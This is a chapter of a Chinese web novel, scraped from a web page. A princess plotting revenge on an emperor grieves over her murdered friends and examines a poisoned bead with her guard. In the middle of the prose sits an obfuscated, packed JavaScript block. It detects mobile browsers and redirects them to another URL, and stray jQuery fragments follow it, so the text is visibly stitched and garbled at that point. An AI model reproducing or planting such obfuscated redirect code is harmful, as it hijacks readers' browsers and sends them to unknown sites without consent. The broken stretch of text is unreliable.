李玉实没有走,许是听到了屋内的动静,转而绕至后窗,透过缝隙在往里看。
褚缨在他绕过来的时候便感觉到了。
李连清还抱着她,手臂紧了紧,说:“我们这个位置,他听不到我们的话,殿下别对他做什么。”
褚缨轻笑:“你眼里我就是这么不讲理的人?”
李连清脑袋垂下,轻轻叹气没回话。
褚缨伸手将他推开,指尖顺着肩膀往上挪,碰到了他颈侧的那道伤口,血还在流,她指尖还没触到时便已经沾上了鲜血。
“殿下不肯信我,也不肯杀我,那接下来,又要如何?”
李连清低眸看着她,眸中的情绪浅淡,褚缨看不明晰。
于是褚缨移开眼眸,也收回了手,起身往门口走去,开了门,瞧见门外,李玉实刚抬手准备敲门。
望见李玉实惊讶的神情,褚缨吸了吸鼻子,用带了血的手抓住他胳膊,泪汪汪说:“二哥,刚刚有刺客,慕玄哥哥他受伤了,你快去找医师过来……”
李玉实的手上上下下不知如何是好,半晌才磕巴道:“啊对对,有刺客,那个我、我立马就去找医师过来!我马上找医师来!”
说完就转身跑走了。
褚缨的神色瞬间收起,抬手抹了抹眼角,关门转身,此时李连清已经站了起来。
褚缨看了他一眼,往桌边走。
“过来。”
李连清被她按着坐在桌边,她手里则捏着一个帕子,擦了擦那颈上的血,全程二人都未说话。
李玉实带着医师赶来,沉默的气氛才被打破。
“慕玄你怎么样?!”
“我没什么事……”
医师给李连清处理着伤口,李玉实就站在旁边,眼睛四处看,看一下医师,又看一下李连清,偶尔还偷偷看一眼褚缨。
伤口说深也不深,只是血流得多,伤又在脖子上,所以看着吓人,医师照例上药包扎加叮嘱,便提着药箱离开了这里。
李玉实叹口气道:“他们都睡着了,我就没跟他们说,明日你自己去解释。”
“我知道了。”李连清垂眸。
“回头我就让爹多招些守卫进来,这哪天刺到我头上来可怎么办……”李玉实戳了戳李连清脖子上的纱布,嘴里嘟哝,“你可真是命大,在长公主府那么多天没死,现在也躲了过去,真不知道是个什么命。”
李连清拨开他手指,“二哥羡慕的话可以求着佛祖换换。”
如若可以,他还不想过这样的日子。
“不不不,我才不要,我跟我的胡琴过一辈子挺好的!”李玉实疯狂摆手。
李连清笑:“二哥你真是的。”
李玉实撑着下巴也笑了笑,余光望见旁边一直没说话的人,想了想道:“我送季姑娘回去吧,姑娘应当吓到了。”
褚缨:“……”
褚缨没说话,默默转眸看了眼李连清,对视上了又立马转头,起身走出门外,也没等谁。
一路上,李玉实在旁边有些吵嚷,但好在不咋呼,褚缨也还能忍受。
全程褚缨没回上一句,不理解怎么分明都看到她与自家弟弟抱着了却还是这样,到了屋里,一踏入房门,褚缨便关上了门,将所有的声音都隔绝在窗外。
她没点灯烛,没管手上鲜血,径直走向床榻,抱着双腿蜷缩在床头。
片刻后,细微的哭声传了出来。
窗户“咯吱”响了一声,似是被风吹动。
哭声压抑着,回荡在昏暗的房内,哭了半晌,褚缨抬手擦擦脸上的泪。
“止期,我今天差点杀了他。”
褚缨沙哑着声音,抬眸,望向床边不知何时到来的人,眼中没有半分惊讶,盈盈眸色中只有水光潋滟。
止期小心翼翼坐在床边:“那一定,是他先惹了主子不快。”
褚缨低下头,“可这样不对,不该如此的,我本就只是做戏,本就是利用他与褚危的那一层关系,他死了,我反而要重新……”
她顿了顿,手指紧攥成拳,语气沉下去。
“可刚刚,拿起剑的那一瞬间,我是真的想杀了他。”
音落,褚缨松了手臂,靠近止期,抬眸看着她,仿佛在寻求答案一般,“是我演过头了对不对?是他、他长得太像了……”
止期抬手捏了捏褚缨的手,她不会安慰人,语气生涩:“主子没有错,主子做什么都没有错。”
褚缨的泪落得更狠,语气也变得哽咽:“看着他那张脸,我控制不住自己想起七哥,我控制不住……想起那天,他说,要我好好活着,要我继续做我的公主,无忧无虑……”
无忧无虑,再无桎梏——
“殿下不要哭,我的命不值钱,死了也没什么的,只要殿下能平安,一切都值得,殿下……不要报仇。自此之后,殿下便还是那受人尊敬的公主,无忧无虑,再无桎梏。”
季卿死的那天,她刚查清证据,要为他们申冤,谁知道,褚危先她一步,抓走了季卿,也销毁了证据,她赶到的时候,季卿只剩最后一口气,身上没有一处好肉。
明明很快,他们就可以为好友们击鼓鸣冤,让所有人都清清白白。
她那时还天真的以为——
褚危是真的被奸人蒙蔽,才定了这桩冤案,害死了那么多人。
直到这天,证据没了,季卿也死了。
不报仇吗?
当然要报。
季卿是圣人,她不是。
纵然艰难,这条路她也会毫不犹豫去走。
十几条人命,冤死在这昏君手中,她为什么不可以恨,为什么不可以报仇?
不仅要让他死,还要他受尽折磨再死——
就如同他们一般。
死无全尸。
过往在脑海中浮现,一幕又一幕,这样的感觉许久未曾有过了,脑子昏沉,泪还在无知觉流出眼眶。
她的声音在房内格外明显,字字清晰。
“可是那天之后我就再没可能做那个无忧无虑的公主了!我好害怕,我怕再梦见他们,再梦见那天……”
“分明是一场聚会,是专门为我而办的聚会,褚危说,我见了一定十分欢喜,可我只看见他们的尸体,他们就那样被挂在殿门口一滴血都流不出来——”
“我如何欢喜,我怎会欢喜!”
止期慌乱地给她抹眼泪:“主子……殿下,殿下不要再想了。”
“若我、我能再快些,再快些,七哥不会死的,他们也会沉冤得雪……他说,他不悔,他是在骗我,我知道。他们都骗我。没人与我共赴长乐,也没人共我赏花饮酒,更没人护我一生无虞……”
他们都死了,他们说的话,也一个都没有兑现。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419209|168951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
都在骗她。
褚缨低垂着眉睫,止期便双手捧起褚缨的脸,用平生最温柔的声音安慰:“主子还有我,不要伤心了,好不好?也不要再想那些了。”
褚缨捏住她手腕拿开她的手,摇摇头,“不能不想,我不能忘记他们。”
“殿下……”
褚缨深呼吸一口气,声音清明了一些,眼泪也憋回去。
她道:“那昏君杀了他们,又阻止我为他们申冤,我若不去想,谁还记得?”
止期垂下眼眸,眸光有些闪烁,她也只是不想看见主子这样,她看见主子哭,便会想到从前……主子分明不是这样的。
主子她,最爱笑了。
他们都说,说——
“殿下是小太阳,是我们所有人的小太阳!”
那年的书院,平静祥和。
褚缨还是个明眸皓齿的少女,她也方才十七,从鬼门关捡回一条命。
她日日跟在明处保护主子,与那些人也谈得上认识,她也时常懊悔,那时没有察觉什么异常。
甚至在那所谓的聚会前夕,她还与他们见了面,说第二日要给主子惊喜。
可谁知道,第二日他们就成了尸体。
所谓的惊喜,便是这般。
那一瞬间,她真切的恨他们。
甚至恨过,让主子以身作则,以女子之身入书院学习的持耀君,尽管那时持耀君已经是个死人。
“主子……”
“我也记得,都记得。”
止期轻轻叹气,倾身将褚缨抱住,“我和戾期,我们都记得……也正是因为记得,所以不忍心主子这样,总之,还有我们可以提醒主子。”
说完,止期松开手臂,从腰封中取出一个褐色的珠子。
褚缨目光被吸引,将珠子拿过来,止期则起身去点上烛火,对着烛光,褚缨观察了一番,“瞧着像是哪个手串上的,这是什么?”
止期道:“是害死阁中那五人的东西,他们体内都有这种珠子,好似是生前被人强行喂下的,我检查过了,有毒,食之必死。”
听雨阁守卫森严,进去都需要搜身,哪怕是阁内之人也要,在这上面抹毒带进去,确实很容易蒙混过关,且阁内人武功都不低,就算乔装打扮进去了,靠武力也不一定能杀死人。
“真是个好办法。”褚缨把珠子放在手心,伸出手指去拨弄,语气嘲讽,“他做事向来天衣无缝,这回可算是把他逼急了,露出了马脚。”
当初褚危摆了她一道,钻了空子把季卿打死,如今,她一步更比一步谨慎。
褚危身为君主,且口碑极好,她断不可能为了杀死褚危什么都不顾。
以她的功夫,强行杀他,是可以,但不是最好的办法。
对他来说,那也不是最好的死法。
褚缨将那颗珠子攥在手心,冷静吩咐:“止期,你和戾期去黄金轩调查,伪装好自己,不要暴露——记住,你是听雨阁的墨识,不是长公主府的止期。”
止期颔首,转身离开房间。
待她走了,褚缨吹熄灯盏,在黑暗中坐了会,方才睡下。
第二日,她带着药,又登了李连清的门。
“昨日,碰着你背后的伤了吧,我知道你肯定不会跟其他人说——”褚缨毫不客气抬脚走进屋中,把药瓶重重搁在桌上,“我来给你换药。”